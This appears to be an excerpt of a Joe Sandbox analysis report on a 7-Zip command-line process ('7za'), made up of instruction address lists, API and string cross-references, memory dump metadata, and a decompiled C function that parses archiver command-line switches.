0x004166d2
0x004166d5
0x004166d8
0x004166dd
0x004166e1
0x004166e3
0x004166e6
0x004166e9
0x004166ee
0x004166f3
0x004166f7
0x004166f9
0x004166fc
0x004166ff
0x00416704
0x00416709
0x0041670d
0x0041670f
0x00416712
0x00416715
0x0041671a
0x0041671e
0x00416722
0x00416726
0x0041672c
0x00416732
0x00416738
0x0041673b
0x0041673e
0x00416741
0x00416748
0x0041674e
0x00416754
0x0041675a
0x0041675c
0x0041675e
0x00416762
0x00416768
0x0041676f
0x00416776
0x0041677c
0x0041677f
0x00416781
0x00416785
0x00416790
0x00416790
0x00416787
0x00416789
0x00416789
0x00416795
0x00416799
0x0041679f
0x004167ac
0x004167b4
0x00415f67
0x00415f6a
0x00415f6d
0x00415f6f
0x00000000
0x00000000
0x00000000
0x00000000
0x00415f6f
0x00415f3e
0x00415f3e
0x00415f44
0x00415f4a
0x00415f75
0x00415f7a
0x00415f88
0x00415f8b
0x00415f8d
0x00415f90
0x0041646e
0x00416473
0x00416476
0x00416479
0x0041647e
0x0041647e
0x00416481
0x00000000
0x00415f96
0x00415f9c
0x00415fa6
0x00415faa
0x00415fb2
0x00415fb6
0x00415fbd
0x00415fc5
0x00415fc8
0x00415fcd
0x00415fd0
0x00415fd4
0x00415fd7
0x00415fdd
0x00415fe0
0x00415fe3
0x00415fe5
0x00415feb
0x00415fed
0x00415ff1
0x00415ff1
0x00415ff5
0x00000000
0x00000000
0x00415ff7
0x00415ff9
0x00416008
0x00416008
0x00416008
0x00415ffb
0x00415ffc
0x00000000
0x00415ffc
0x0041600c
0x0041600c
0x0041600f
0x00416021
0x0041602d
0x00416031
0x00416036
0x00416038
0x0041603b
0x00416049
0x0041604e
0x00416050
0x00416063
0x0041606c
0x00416070
0x00416075
0x0041607f
0x00416084
0x00416088
0x0041608a
0x0041608c
0x0041608f
0x00416093
0x00416093
0x00416097
0x00000000
0x00000000
0x00416099
0x0041609b
0x004160a7
0x004160a7
0x0041609d
0x0041609e
0x00000000
0x0041609e
0x004160aa
0x004160aa
0x004160ac
0x004160ba
0x004160c3
0x004160cc
0x004160cf
0x004160d9
0x004160de
0x004160e2
0x004160ec
0x004160f1
0x004160f3
0x004160fb
0x00416106
0x00416106
0x004160f3
0x004160e2
0x00000000
0x004160ac
0x004160a3
0x00000000
0x004160a3
0x0041608a
0x00416050
0x0041610b
0x0041610e
0x00416112
0x00416117
0x00000000
0x0041600f
0x00416003
0x00000000
0x00416003
0x00415fe5
0x00416118
0x00416118
0x00416124
0x00416129
0x0041612a
0x0041612e
0x0041612f
0x00416132
0x00416137
0x0041613c
0x0041613f
0x0041648c
0x00416490
0x0041649b
0x0041649f
0x004164a7
0x004164ac
0x004164af
0x004164b2
0x004164b7
0x004164b7
0x004164ba
0x00000000
0x00416145
0x00416150
0x0041615f
0x00416167
0x0041616a
0x0041616c
0x0041616f
0x004164c7
0x004164cb
0x004164d6
0x004164da
0x004164e2
0x004164e7
0x004164ea
0x004164ed
0x004164f2
0x004164f2
0x004164f5
0x00000000
0x00416175
0x00416175
0x00416178
0x00000000
0x0041617e
0x00416181
0x00416183
0x00416213
0x00416213
0x00416189
0x00416189
0x0041618f
0x00416192
0x00416198
0x004161a7
0x004161ac
0x004161ae
0x004161b1
0x004161b6
0x004161b9
0x004161c5
0x004161d2
0x004161e3
0x004161e3
0x004161e3
0x004161f4
0x004161f7
0x00416202
0x00416202
0x004161b9
0x00416205
0x0041620b
0x0041620b
0x00000000
0x00416198
0x00416192
0x00416219
0x00416247
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416261
0x00416267
0x0041626a
0x0041626c
0x0041626f
0x00416539
0x0041653f
0x00416546
0x00416551
0x00416555
0x0041655d
0x00416562
0x00416565
0x00416568
0x0041656d
0x0041656d
0x00416570
0x00000000
0x00416275
0x00416275
0x00416278
0x00416291
0x00416291
0x00416297
0x0041629a
0x0041629c
0x004162d5
0x004162db
0x004162e2
0x004162e5
0x004162e7
0x004162f3
0x004162f3
0x004162e9
0x004162e9
0x004162ec
0x00000000
0x004162ee
0x004162ee
0x004162f0
0x004162f0
0x004162ec
0x004162f5
0x004162fb
0x00416301
0x00416307
0x0041630e
0x00416320
0x00416326
0x00416327
0x0041632a
0x0041632d
0x00416331
0x00416332
0x00416337
0x00416339
0x0041633c
0x004165fc
0x00416602
0x00416609
0x00416614
0x00416618
0x00416620
0x00416625
0x00416628
0x0041662b
0x00416630
0x00416630
0x00416633
0x00000000
0x00416342
0x00416345
0x00416347
0x00416369
0x0041636c
0x00416349
0x0041634f
0x00416355
0x0041635b
0x00416361
0x00416364
0x00416364
0x00416375
0x00416378
0x0041637b
0x00416387
0x00416390
0x00416393
0x00416396
0x00416399
0x0041639c
0x00416638
0x0041663e
0x00416645
0x00416650
0x00416654
0x0041665c
0x00416661
0x00416664
0x00416667
0x0041666c
0x0041666c
0x0041666f
0x00000000
0x004163a2
0x004163a2
0x00000000
0x004163a7
0x0041639c
0x0041629e
0x0041629e
0x004162a7
0x004162aa
0x004162ad
0x00000000
0x004162af
0x004162af
0x004162b9
0x004162bc
0x004162be
0x004162c1
0x004165bd
0x004165c3
0x004165ca
0x004165d5
0x004165d9
0x004165e1
0x004165e6
0x004165e9
0x004165ec
0x004165f1
0x004165f1
0x004165f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004162c1
0x00000000
0x004162c7
0x004162c7
0x004162cd
0x004162d0
0x004162d0
0x00000000
0x0041629e
0x0041627a
0x00416283
0x00416286
0x00416288
0x0041628b
0x0041657b
0x00416581
0x00416588
0x00416593
0x00416597
0x0041659f
0x004165a4
0x004165a7
0x004165aa
0x004165af
0x004165af
0x004165b2
0x00000000
0x00000000
0x00000000
0x00000000
0x0041628b
0x00416278
0x0041621b
0x00416227
0x0041622a
0x0041622d
0x00416239
0x0041623c
0x0041623e
0x00416241
0x00416500
0x00416504
0x0041650f
0x00416513
0x0041651b
0x00416520
0x00416523
0x00416526
0x0041652b
0x0041652b
0x0041652e
0x00416674
0x00416674
0x0041667e
0x00416683
0x00000000
0x00000000
0x00000000
0x00000000
0x00416241
0x00416219
0x00416178
0x0041616f
0x0041613f
0x00415f90
0x00000000
0x004163a8
0x004163ab
0x004163af
0x004163ba
0x004163be
0x004163c3
0x004163ca
0x004163cf
0x004163d6
0x004163d6
0x00000000
0x00415f1c
0x00415ed6
0x00415ed9
0x00415ee2
0x00415ee7
0x00415eea
0x00000000
0x00415eec
0x00415eee
0x00415ef1
0x00415ef6
0x00415ef6
0x00415ef9
0x00415f03
0x00415f08
0x0041645a
0x00416460
0x00416468
0x00416468
0x00415eea
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00415D36

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

__CxxThrowException@8.LIBC ref: 00415E59
__CxxThrowException@8.LIBC ref: 00415E6E

Part of subcall function 0040B431: __EH_prolog.LIBCMT ref: 0040B436

Part of subcall function 00418A23: __EH_prolog.LIBCMT ref: 00418A28
Part of subcall function 00418A23: GetLastError.KERNEL32(?,00000003,00000003,00000003,?,00000000,00000000), ref: 00418AEC

Part of subcall function 00416922: __EH_prolog.LIBCMT ref: 00416927
Part of subcall function 00416922: GetLastError.KERNEL32(?,00000000,0048BB7C,?,00000004,00000004,?,00000000,00000000), ref: 00416AA1

Part of subcall function 00403411: __EH_prolog.LIBCMT ref: 00403416

__CxxThrowException@8.LIBC ref: 0041669A

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 0041669F: __EH_prolog.LIBCMT ref: 004166A4

Strings

001, xrefs: 00416044
rar, xrefs: 004160E7

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041035D, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 546

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E0041035D(void* __ecx) {
				void* __ebx;
				void* __edi;
				intOrPtr _t192;
				char* _t200;
				intOrPtr _t201;
				intOrPtr _t202;
				signed char _t206;
				char _t212;
				signed char _t216;
				char _t217;
				void* _t218;
				void* _t220;
				intOrPtr* _t225;
				void* _t228;
				void* _t230;
				signed char _t233;
				signed char _t234;
				signed int _t235;
				signed char _t243;
				char* _t247;
				signed int _t248;
				signed int _t249;
				char _t251;
				char* _t252;
				signed char _t253;
				char* _t258;
				signed char _t268;
				char* _t269;
				char* _t291;
				char _t319;
				void* _t331;
				intOrPtr _t357;
				signed int _t363;
				void* _t364;
				signed int _t365;
				char _t375;
				void* _t421;
				void* _t422;
				signed int _t441;
				signed int _t443;
				char* _t444;
				char* _t447;
				void* _t449;

				E0046B890(E00474174, _t449);
				_t331 = __ecx;
				_t192 =  *((intOrPtr*)(__ecx + 0x10));
				_t454 = _t192 - 1;
				 *((intOrPtr*)(_t449 - 0x24)) = _t192;
				if(_t192 < 1) {
					E0040FFF2();
				}
				_t447 =  *(_t449 + 8);
				if(E00410A4C( *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)))),  &(_t447[0x20]), _t454) == 0) {
					E0040FFF2();
				}
				_t447[0x40] =  *((intOrPtr*)(E004071F7(_t331, 0x1c)));
				_t447[0x41] =  *((intOrPtr*)(E004071F7(_t331, 0x1f)));
				if( *(E004071F7(_t331, 0x1e)) != 0) {
					 *0x490adc = E004071F7(_t331, 0x1e) & 0xffffff00 |  *((intOrPtr*)(_t326 + 0x18)) < 0x00000000;
				}
				_t200 = E004071F7(_t331, 0x12);
				_t459 =  *_t200;
				if( *_t200 == 0) {
					 *(_t449 - 0x18) = 2;
				} else {
					 *(_t449 - 0x18) = E00410A39( *((intOrPtr*)(E004071F7(_t331, 0x12) + 0x18)));
				}
				_push(0xffffffff);
				_t421 = 0x1b;
				_t201 = E0041191E(_t331, _t421, _t459);
				_push(0xfde9);
				_t422 = 0x1a;
				 *0x48b6f8 = _t201;
				_t202 = E0041191E(_t331, _t422, _t459);
				 *(_t449 - 0x20) =  *(_t449 - 0x20) & 0x00000000;
				 *((intOrPtr*)(_t449 - 0x14)) = _t202;
				if( *((char*)(E004071F7(_t331, 0xb))) != 0) {
					_push( *((intOrPtr*)(_t449 - 0x14)));
					 *(_t449 - 0x20) = 1;
					_push( *(_t449 - 0x18));
					_push(1);
					E00410CA4( &(_t447[0xc]), E004071F7(_t331, 0xb) + 4);
				}
				if( *((char*)(E004071F7(_t331, 0xc))) != 0) {
					_push( *((intOrPtr*)(_t449 - 0x14)));
					_push( *(_t449 - 0x18));
					_push(0);
					E00410CA4( &(_t447[0xc]), E004071F7(_t331, 0xc) + 4);
				}
				_t441 = 1;
				if( *((char*)(E004071F7(_t331, 0xf))) != 0) {
					L17:
					_t26 = _t449 + 0xb;
					 *_t26 =  *(_t449 + 0xb) & 0x00000000;
					__eflags =  *_t26;
					L18:
					_t206 = E0040FE22( &(_t447[0x20]));
					 *(_t449 - 0xe) = _t206;
					if(_t206 != 0 || _t447[0x20] == 6) {
						__eflags = _t447[5];
						 *(_t449 - 0xd) = 1;
						if(_t447[5] != 0) {
							_t35 = _t449 + 0xb;
							 *_t35 =  *(_t449 + 0xb) & 0x00000000;
							__eflags =  *_t35;
						}
					} else {
						 *(_t449 - 0xd) =  *(_t449 - 0xd) & _t206;
					}
					if( *(_t449 + 0xb) != 0) {
						if( *((intOrPtr*)(_t449 - 0x24)) <= 1) {
							E0040FFF2();
						}
						_t441 = 2;
						E00401E26( &(_t447[0x24]),  *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)) + 4)));
						if(_t447[0x28] == 0) {
							E0040FFF2();
						}
					}
					_push( *((intOrPtr*)(_t449 - 0x14)));
					_push( *(_t449 - 0x20));
					 *(_t449 - 0x1c) =  &(_t447[0xc]);
					_push( *(_t449 - 0x18));
					_push(_t331 + 8);
					E00410B06(_t441,  &(_t447[0xc]));
					_t447[8] =  *((intOrPtr*)(E004071F7(_t331, 6)));
					_t212 =  *((intOrPtr*)(E004071F7(_t331, 7)));
					_t447[0x30] = _t212;
					if(_t212 != 0) {
						E00401E26( &(_t447[0x34]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 7) + 0x10)))));
					}
					_t447[9] =  *((intOrPtr*)(E004071F7(_t331, 0x18)));
					if( *((char*)(E004071F7(_t331, 5))) != 0) {
						E00401E26( &(_t447[0x168]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 5) + 0x10)))));
					}
					if( *(_t449 - 0xd) == 0) {
						_t216 = E0040FE46( &(_t447[0x20]));
						__eflags = _t216;
						if(_t216 == 0) {
							_t217 = _t447[0x20];
							__eflags = _t217 - 7;
							if(_t217 != 7) {
								__eflags = _t217 - 8;
								if(_t217 != 8) {
									E0040FFF2();
								}
								goto L110;
							}
							_t447[0x17c] = _t447[0x17c] | 0xffffffff;
							_t447[0x180] = _t447[0x180] | 0xffffffff;
							__eflags = _t441 -  *((intOrPtr*)(_t449 - 0x24));
							_t424 =  &(_t447[0x178]);
							_t447[0x178] = 1;
							if(_t441 <  *((intOrPtr*)(_t449 - 0x24))) {
								_t243 = E004119B8( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t331 + 0x14)) + _t441 * 4)))), _t424);
								__eflags = _t243;
								if(_t243 == 0) {
									E0040FFF2();
								}
							}
							_t443 = 0;
							_t220 = E004071F7(_t331, 8);
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) > 0) {
								do {
									E004039C0(_t449 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 8) + 0x10)) + _t443 * 4)));
									 *(_t449 - 4) = 3;
									E00407ED0( *((intOrPtr*)(_t449 - 0x30)));
									__eflags =  *((intOrPtr*)(_t449 - 0x2c)) - 2;
									if( *((intOrPtr*)(_t449 - 0x2c)) < 2) {
										E0040FFF2();
									}
									_t225 =  *((intOrPtr*)(_t449 - 0x30));
									_t357 =  *_t225;
									__eflags = _t357 - 0x44;
									if(_t357 != 0x44) {
										__eflags = _t357 - 0x4d;
										if(_t357 != 0x4d) {
											L100:
											E0040FFF2();
											goto L101;
										}
										__eflags =  *((short*)(_t225 + 2)) - 0x54;
										if( *((short*)(_t225 + 2)) != 0x54) {
											__eflags = _t357 - 0x4d;
											if(_t357 != 0x4d) {
												goto L100;
											}
											__eflags =  *((short*)(_t225 + 2)) - 0x3d;
											if( *((short*)(_t225 + 2)) != 0x3d) {
												goto L100;
											}
											__eflags =  *((short*)(_t225 + 4));
											if( *((short*)(_t225 + 4)) == 0) {
												goto L102;
											}
											_t230 = E004072C9(_t449 - 0x30, _t449 - 0x3c, 2);
											 *(_t449 - 4) = 4;
											E00401E26( &(_t447[0x184]), _t230);
											E00407A18( *((intOrPtr*)(_t449 - 0x3c)));
											goto L101;
										}
										__eflags =  *((short*)(_t225 + 4)) - 0x3d;
										_t363 = 2;
										if( *((short*)(_t225 + 4)) == 0x3d) {
											_t363 = 3;
										}
										__eflags =  *((short*)(_t225 + _t363 * 2));
										_t364 = _t225 + _t363 * 2;
										if( *((short*)(_t225 + _t363 * 2)) == 0) {
											goto L102;
										} else {
											_t233 = E004119B8(_t364,  &(_t447[0x17c]));
											__eflags = _t233;
											if(_t233 != 0) {
												goto L101;
											}
											goto L100;
										}
									} else {
										__eflags =  *((short*)(_t225 + 2)) - 0x3d;
										_t365 = 1;
										if( *((short*)(_t225 + 2)) == 0x3d) {
											_t365 = 2;
										}
										_t234 = E004119B8(_t225 + _t365 * 2, _t449 + 8);
										__eflags = _t234;
										if(_t234 == 0) {
											E0040FFF2();
										}
										__eflags =  *(_t449 + 8) - 0x1f;
										if( *(_t449 + 8) > 0x1f) {
											E0040FFF2();
										}
										_t235 = 1;
										_t447[0x180] = _t235 <<  *(_t449 + 8);
										L101:
										_t225 =  *((intOrPtr*)(_t449 - 0x30));
									}
									L102:
									 *(_t449 - 4) =  *(_t449 - 4) | 0xffffffff;
									E00407A18(_t225);
									_t443 = _t443 + 1;
									_t228 = E004071F7(_t331, 8);
									__eflags = _t443 -  *((intOrPtr*)(_t228 + 0xc));
								} while (_t443 <  *((intOrPtr*)(_t228 + 0xc)));
							}
							goto L110;
						}
						_t444 =  &(_t447[0x90]);
						_push(_t444);
						E0041124B(_t447[0x20], _t331);
						E004117BD(_t331,  &(_t444[4]), __eflags);
						_t247 = E004071F7(_t331, 0x1d);
						__eflags =  *_t247;
						if( *_t247 != 0) {
							_t444[0x98] = 1;
						}
						_t248 = E004071F7(_t331, 4);
						__eflags =  *_t248;
						_t249 = _t248 & 0xffffff00 |  *_t248 == 0x00000000;
						__eflags = _t249;
						_t447[0x174] = _t249;
						if(_t249 == 0) {
							L66:
							_t251 =  *((intOrPtr*)(E004071F7(_t331, 0x17)));
							__eflags = _t251;
							_t444[0xa9] = _t251;
							if(_t251 != 0) {
								E00401E26( &(_t444[0xac]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x17) + 0x10)))));
								__eflags = _t444[0xb0];
								if(_t444[0xb0] > 0) {
									__eflags =  *(_t444[0xac]) - 0x2e;
									if( *(_t444[0xac]) == 0x2e) {
										_t444[0xaa] = 1;
										E004075A5( &(_t444[0xac]), 0, 1);
									}
								}
							}
							_t252 =  &(_t444[0xa8]);
							 *_t252 = _t447[6];
							_t253 =  *_t252;
							_t375 = _t447[5];
							__eflags = _t253;
							_t444[0x99] = _t375;
							if(_t253 != 0) {
								__eflags = _t444[0xa9];
								if(_t444[0xa9] != 0) {
									 *(_t449 + 8) = "stdout mode and email mode cannot be combined";
									_t253 = E0046B8F4(_t449 + 8, 0x47cf70);
								}
								__eflags = _t253;
								if(_t253 != 0) {
									__eflags = _t447[3];
									if(_t447[3] != 0) {
										_t258 =  *0x48ba30; // 0x48bab0
										 *(_t449 + 8) = _t258;
										E0046B8F4(_t449 + 8, 0x47d358);
									}
								}
							}
							__eflags = _t375;
							if(_t375 != 0) {
								E00401E26( &(_t444[0x9c]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x14) + 0x10)))));
							}
							E00411046( *(_t449 - 0x1c));
							goto L110;
						} else {
							_t268 = _t447[6];
							__eflags = _t268;
							if(_t268 == 0) {
								L64:
								__eflags = _t447[3];
								if(_t447[3] != 0) {
									goto L66;
								}
								L65:
								_t122 =  &(_t447[0x174]);
								 *_t122 = _t447[0x174] & 0x00000000;
								__eflags =  *_t122;
								goto L66;
							}
							__eflags = _t447[4];
							if(_t447[4] == 0) {
								goto L65;
							}
							__eflags = _t268;
							if(_t268 != 0) {
								goto L66;
							}
							goto L64;
						}
					} else {
						_t269 =  *(_t449 - 0x1c);
						if(_t269[8] != 1 ||  *((intOrPtr*)( *(_t269[0xc]) + 4)) != 0) {
							E0040FFFD("Cannot use absolute pathnames for this command");
						}
						E00405B9F(_t449 - 0x50);
						 *((intOrPtr*)(_t449 - 0x50)) = 0x47a680;
						 *(_t449 - 4) =  *(_t449 - 4) & 0x00000000;
						if( *((char*)(E004071F7(_t331, 0xd))) != 0) {
							_push( *((intOrPtr*)(_t449 - 0x14)));
							_push(2);
							_push(1);
							E00410CA4(_t449 - 0x50, E004071F7(_t331, 0xd) + 4);
						}
						if( *((char*)(E004071F7(_t331, 0xe))) != 0) {
							_push( *((intOrPtr*)(_t449 - 0x14)));
							_push(2);
							_push(0);
							E00410CA4(_t449 - 0x50, E004071F7(_t331, 0xe) + 4);
						}
						if( *(_t449 + 0xb) != 0) {
							E00410AC9(_t449 - 0x50,  &(_t447[0x24]), 1, 2);
						}
						E00411046(_t449 - 0x50);
						E0040925B(_t449 - 0x50);
						if(_t447[5] == 0) {
							_push( &(_t447[0x68]));
							E0041003E(_t331, _t449 - 0x50,  &(_t447[0x54]), _t441, __eflags); // executed
						} else {
							E004039C0(_t449 - 0x30,  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 0x14) + 0x10)))));
							_push(_t449 - 0x30);
							 *(_t449 - 4) = 1;
							E00406796( &(_t447[0x54]));
							_push(_t449 - 0x30);
							E00406796( &(_t447[0x68]));
							 *(_t449 - 4) =  *(_t449 - 4) & 0x00000000;
							E00407A18( *((intOrPtr*)(_t449 - 0x30)));
						}
						_t483 =  *(_t449 - 0xe);
						if( *(_t449 - 0xe) != 0) {
							E004117BD(_t331,  &(_t447[0x7c]), _t483);
							if(_t447[6] != 0 && _t447[3] != 0 && _t447[4] != 0) {
								_t291 =  *0x48ba34; // 0x48ba74
								 *(_t449 + 8) = _t291;
								E0046B8F4(_t449 + 8, 0x47d358);
							}
							if( *((char*)(E004071F7(_t331, 9))) != 0) {
								E00401E26( &(_t447[0x44]),  *((intOrPtr*)( *((intOrPtr*)(E004071F7(_t331, 9) + 0x10)))));
								E0040BEB9( &(_t447[0x44]));
							}
							_t447[0x50] = _t447[0x50] & 0x00000000;
							if( *((char*)(E004071F7(_t331, 0x16))) == 0) {
								__eflags = _t447[8];
								if(_t447[8] != 0) {
									_t447[0x50] = 1;
								}
							} else {
								_t447[0x50] =  *(0x48b704 +  *(E004071F7(_t331, 0x16) + 0x18) * 4);
							}
						}
						 *((intOrPtr*)(_t449 - 0x50)) = 0x47a680;
						 *(_t449 - 4) = 2;
						E0040862D();
						 *(_t449 - 4) =  *(_t449 - 4) | 0xffffffff;
						E00408604(_t449 - 0x50);
						L110:
						_t218 = E0040925B( *(_t449 - 0x1c));
						 *[fs:0x0] =  *((intOrPtr*)(_t449 - 0xc));
						return _t218;
					}
				}
				_t319 = _t447[0x20];
				if(_t319 == 7 || _t319 == 8) {
					goto L17;
				} else {
					 *(_t449 + 0xb) = 1;
					goto L18;
				}
			}

0x00410362
0x0041036b
0x0041036f
0x00410372
0x00410375
0x00410378
0x0041037a
0x0041037a
0x00410382
0x00410391
0x00410393
0x00410393
0x004103a7
0x004103b5
0x004103c0
0x004103d2
0x004103d2
0x004103db
0x004103e0
0x004103e3
0x004103fb
0x004103e5
0x004103f6
0x004103f6
0x00410402
0x00410406
0x00410409
0x0041040e
0x00410415
0x00410418
0x0041041d
0x00410422
0x0041042a
0x00410435
0x00410437
0x0041043c
0x00410440
0x00410443
0x00410454
0x00410454
0x00410465
0x00410467
0x0041046c
0x0041046f
0x00410480
0x00410480
0x00410489
0x00410494
0x004104a9
0x004104a9
0x004104a9
0x004104a9
0x004104ad
0x004104b0
0x004104b7
0x004104ba
0x004104c7
0x004104cb
0x004104cf
0x004104d1
0x004104d1
0x004104d1
0x004104d1
0x004104c2
0x004104c2
0x004104c2
0x004104d9
0x004104df
0x004104e1
0x004104e1
0x004104eb
0x004104f2
0x004104fb
0x004104fd
0x004104fd
0x004104fb
0x00410502
0x0041050d
0x00410510
0x00410513
0x00410516
0x00410517
0x0041052b
0x00410533
0x00410537
0x0041053a
0x0041054d
0x0041054d
0x00410561
0x0041056c
0x00410582
0x00410582
0x0041058b
0x0041075e
0x00410763
0x00410765
0x004108ae
0x004108b1
0x004108b4
0x00410a16
0x00410a19
0x00410a1b
0x00410a1b
0x00000000
0x00410a19
0x004108ba
0x004108c1
0x004108c8
0x004108cb
0x004108d1
0x004108d7
0x004108e3
0x004108e8
0x004108ea
0x004108ec
0x004108ec
0x004108ea
0x004108f5
0x004108f7
0x004108fc
0x004108ff
0x00410905
0x00410917
0x0041091f
0x00410926
0x0041092b
0x0041092f
0x00410931
0x00410931
0x00410936
0x00410939
0x0041093c
0x00410940
0x0041097e
0x00410982
0x004109b1
0x004109b1
0x00000000
0x004109b1
0x00410984
0x00410989
0x004109d9
0x004109dd
0x00000000
0x00000000
0x004109df
0x004109e4
0x00000000
0x00000000
0x004109e6
0x004109eb
0x00000000
0x00000000
0x004109f6
0x00410a02
0x00410a06
0x00410a0e
0x00000000
0x00410a13
0x0041098b
0x00410992
0x00410993
0x00410997
0x00410997
0x00410998
0x0041099d
0x004109a0
0x00000000
0x004109a2
0x004109a8
0x004109ad
0x004109af
0x00000000
0x00000000
0x00000000
0x004109af
0x00410942
0x00410942
0x00410949
0x0041094a
0x0041094e
0x0041094e
0x00410955
0x0041095a
0x0041095c
0x0041095e
0x0041095e
0x00410963
0x00410967
0x00410969
0x00410969
0x00410973
0x00410976
0x004109b6
0x004109b6
0x004109b6
0x004109b9
0x004109b9
0x004109be
0x004109c4
0x004109c9
0x004109ce
0x004109ce
0x004109d7
0x00000000
0x004108ff
0x0041076e
0x00410774
0x00410777
0x00410781
0x0041078a
0x0041078f
0x00410792
0x00410794
0x00410794
0x0041079f
0x004107a4
0x004107a7
0x004107aa
0x004107ac
0x004107b2
0x004107d2
0x004107db
0x004107dd
0x004107df
0x004107e5
0x004107fc
0x00410801
0x00410808
0x00410810
0x00410814
0x00410820
0x00410827
0x00410827
0x00410814
0x00410808
0x0041082f
0x00410835
0x00410837
0x00410839
0x0041083c
0x0041083e
0x00410844
0x00410846
0x0041084d
0x00410858
0x0041085f
0x0041085f
0x00410864
0x00410866
0x00410868
0x0041086c
0x0041086e
0x00410878
0x0041087f
0x0041087f
0x0041086c
0x00410866
0x00410884
0x00410886
0x0041089c
0x0041089c
0x004108a4
0x00000000
0x004107b4
0x004107b4
0x004107b7
0x004107b9
0x004107c5
0x004107c5
0x004107c9
0x00000000
0x00000000
0x004107cb
0x004107cb
0x004107cb
0x004107cb
0x00000000
0x004107cb
0x004107bb
0x004107bf
0x00000000
0x00000000
0x004107c1
0x004107c3
0x00000000
0x00000000
0x00000000
0x004107c3
0x00410591
0x00410591
0x00410598
0x004105aa
0x004105aa
0x004105b2
0x004105b7
0x004105be
0x004105ce
0x004105d0
0x004105d5
0x004105d7
0x004105e8
0x004105e8
0x004105f9
0x004105fb
0x00410600
0x00410602
0x00410613
0x00410613
0x0041061c
0x00410628
0x00410628
0x00410630
0x00410638
0x00410641
0x0041068a
0x0041068e
0x00410643
0x00410654
0x0041065f
0x00410660
0x00410664
0x0041066f
0x00410670
0x00410678
0x0041067c
0x00410681
0x00410693
0x00410697
0x004106a2
0x004106ab
0x004106b9
0x004106c3
0x004106ca
0x004106ca
0x004106db
0x004106f1
0x004106f8
0x004106f8
0x004106fd
0x0041070d
0x00410727
0x0041072b
0x0041072d
0x0041072d
0x0041070f
0x00410722
0x00410722
0x0041070d
0x00410734
0x0041073e
0x00410745
0x0041074a
0x00410751
0x00410a20
0x00410a23
0x00410a2e
0x00410a36
0x00410a36
0x0041058b
0x00410496
0x0041049c
0x00000000
0x004104a3
0x004104a3
0x00000000
0x004104a3

APIs

__EH_prolog.LIBCMT ref: 00410362

Part of subcall function 00410A4C: __EH_prolog.LIBCMT ref: 00410A51

Part of subcall function 0041191E: __EH_prolog.LIBCMT ref: 00411923

Part of subcall function 00410B06: __EH_prolog.LIBCMT ref: 00410B0B
Part of subcall function 00410B06: __CxxThrowException@8.LIBC ref: 00410BC6

Part of subcall function 0040FFFD: __CxxThrowException@8.LIBC ref: 00410015

__CxxThrowException@8.LIBC ref: 004106CA

Part of subcall function 00406796: __EH_prolog.LIBCMT ref: 0040679B

Part of subcall function 0041003E: __EH_prolog.LIBCMT ref: 00410043
Part of subcall function 0041003E: __CxxThrowException@8.LIBC ref: 00410157
Part of subcall function 0041003E: __CxxThrowException@8.LIBC ref: 00410288

Part of subcall function 00410CA4: __EH_prolog.LIBCMT ref: 00410CA9

__CxxThrowException@8.LIBC ref: 0041085F
__CxxThrowException@8.LIBC ref: 0041087F

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 00407ED0: __EH_prolog.LIBCMT ref: 00407ED5
Part of subcall function 00407ED0: CharUpperW.USER32 ref: 00407EED
Part of subcall function 00407ED0: GetLastError.KERNEL32(?,?,00000000), ref: 00407EF9
Part of subcall function 00407ED0: CharUpperA.USER32(?), ref: 00407F2C

Part of subcall function 0041124B: __EH_prolog.LIBCMT ref: 00411250

Part of subcall function 004117BD: __EH_prolog.LIBCMT ref: 004117C2

Strings

59@, xrefs: 0041036E
Cannot use absolute pathnames for this command, xrefs: 004105A5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046FCD7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 150

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 99%

